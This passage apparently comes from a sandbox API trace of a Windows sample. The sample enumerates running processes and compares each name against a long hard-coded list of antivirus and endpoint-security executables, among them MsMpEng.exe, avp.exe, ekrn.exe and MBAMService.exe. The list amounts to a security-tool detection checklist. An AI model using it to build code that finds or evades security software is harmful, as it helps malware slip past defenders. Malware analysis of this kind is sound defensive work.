(lpString1="smss.exe", lpString2="bdagent.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="vsserv.exe") returned -1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="vsservppl.exe") returned -1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="AvastSvc.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="coreServiceShell.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="PccNTMon.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="NTRTScan.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="SAVAdminService.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="SavService.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="fshoster32.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="WRSA.exe") returned -1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="vkise.exe") returned -1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="isesrv.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="cmdagent.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="ByteFence.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="MBAMService.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="mbamgui.exe") returned 1 [0231.440] lstrcmpiA (lpString1="smss.exe", lpString2="fmon.exe") returned 1 [0231.440] Sleep (dwMilliseconds=0xa) [0231.455] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.455] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0231.455] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0231.455] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0231.456] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0231.457] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0231.457] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0231.457] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0231.457] Sleep (dwMilliseconds=0xa) [0231.480] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="ccSvcHst.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrvx.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="avgsvcx.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="avgcsrva.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="MsMpEng.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="mcshield.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="avp.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="kavtray.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="egui.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="ekrn.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="bdagent.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="vsserv.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="vsservppl.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="AvastSvc.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="coreServiceShell.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="PccNTMon.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="NTRTScan.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="SAVAdminService.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="SavService.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="fshoster32.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="WRSA.exe") returned -1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="vkise.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="isesrv.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="cmdagent.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="ByteFence.exe") returned 1 [0231.481] lstrcmpiA (lpString1="wininit.exe", lpString2="MBAMService.exe") returned 1 [0231.482] lstrcmpiA (lpString1="wininit.exe", lpString2="mbamgui.exe") returned 1 [0231.482] lstrcmpiA (lpString1="wininit.exe", lpString2="fmon.exe") returned 1 [0231.482] Sleep (dwMilliseconds=0xa) [0231.503] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.503] lstrcmpiA (lpString1="csrss.exe", lpString2="ccSvcHst.exe") returned 1 [0231.503] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrvx.exe") returned 1 [0231.503] lstrcmpiA (lpString1="csrss.exe", lpString2="avgsvcx.exe") returned 1 [0231.503] lstrcmpiA (lpString1="csrss.exe", lpString2="avgcsrva.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="MsMpEng.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="mcshield.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="avp.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="kavtray.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="egui.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="ekrn.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="bdagent.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="vsserv.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="vsservppl.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="AvastSvc.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="coreServiceShell.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="PccNTMon.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="NTRTScan.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="SAVAdminService.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="SavService.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="fshoster32.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="WRSA.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="vkise.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="isesrv.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="cmdagent.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="ByteFence.exe") returned 1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="MBAMService.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="mbamgui.exe") returned -1 [0231.504] lstrcmpiA (lpString1="csrss.exe", lpString2="fmon.exe") returned -1 [0231.504] Sleep (dwMilliseconds=0xa) [0231.532] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="ccSvcHst.exe") returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrvx.exe") returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgsvcx.exe") returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="avgcsrva.exe") returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="MsMpEng.exe") returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="mcshield.exe") returned 1 [0231.533] lstrcmpiA (lpString1="winlogon.exe", lpString2="avp.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="kavtray.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="egui.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="ekrn.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="bdagent.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsserv.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="vsservppl.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="AvastSvc.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="coreServiceShell.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="PccNTMon.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="NTRTScan.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="SAVAdminService.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="SavService.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="fshoster32.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="WRSA.exe") returned -1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="vkise.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="isesrv.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="cmdagent.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="ByteFence.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="MBAMService.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="mbamgui.exe") returned 1 [0231.534] lstrcmpiA (lpString1="winlogon.exe", lpString2="fmon.exe") returned 1 [0231.534] Sleep (dwMilliseconds=0xa) [0231.549] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="ccSvcHst.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrvx.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="avgsvcx.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="avgcsrva.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="MsMpEng.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="mcshield.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="avp.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="kavtray.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="egui.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="ekrn.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="bdagent.exe") returned 1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="vsserv.exe") returned -1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="vsservppl.exe") returned -1 [0231.550] lstrcmpiA (lpString1="services.exe", lpString2="AvastSvc.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="coreServiceShell.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="PccNTMon.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="NTRTScan.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="SAVAdminService.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="SavService.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="fshoster32.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="WRSA.exe") returned -1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="vkise.exe") returned -1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="isesrv.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="cmdagent.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="ByteFence.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="MBAMService.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="mbamgui.exe") returned 1 [0231.551] lstrcmpiA (lpString1="services.exe", lpString2="fmon.exe") returned 1 [0231.551] Sleep (dwMilliseconds=0xa) [0231.566] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="ccSvcHst.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrvx.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="avgsvcx.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="avgcsrva.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="MsMpEng.exe") returned -1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="mcshield.exe") returned -1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="avp.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="kavtray.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="egui.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="ekrn.exe") returned 1 [0231.568] lstrcmpiA (lpString1="lsass.exe", lpString2="bdagent.exe") returned 1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="vsserv.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="vsservppl.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="AvastSvc.exe") returned 1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="coreServiceShell.exe") returned 1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="PccNTMon.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="NTRTScan.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="SAVAdminService.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="SavService.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="fshoster32.exe") returned 1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="WRSA.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="vkise.exe") returned -1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="isesrv.exe") returned 1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="cmdagent.exe") returned 1 [0231.569] lstrcmpiA (lpString1="lsass.exe", lpString2="ByteFence.exe") returned 1 [0231.601] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.626] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.642] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.667] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.691] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.707] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.729] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.764] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.785] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.801] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.821] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.845] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.862] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.883] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.915] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.950] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.971] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.991] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0232.030] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.050] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0232.082] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.100] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0232.111] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0232.128] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0232.142] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0232.287] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0232.304] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.335] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0232.364] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0232.383] Process32Next (in: hSnapshot=0x2a8, lppe=0x19f0b0 | out: lppe=0x19f0b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0232.409] Process32Next (in: 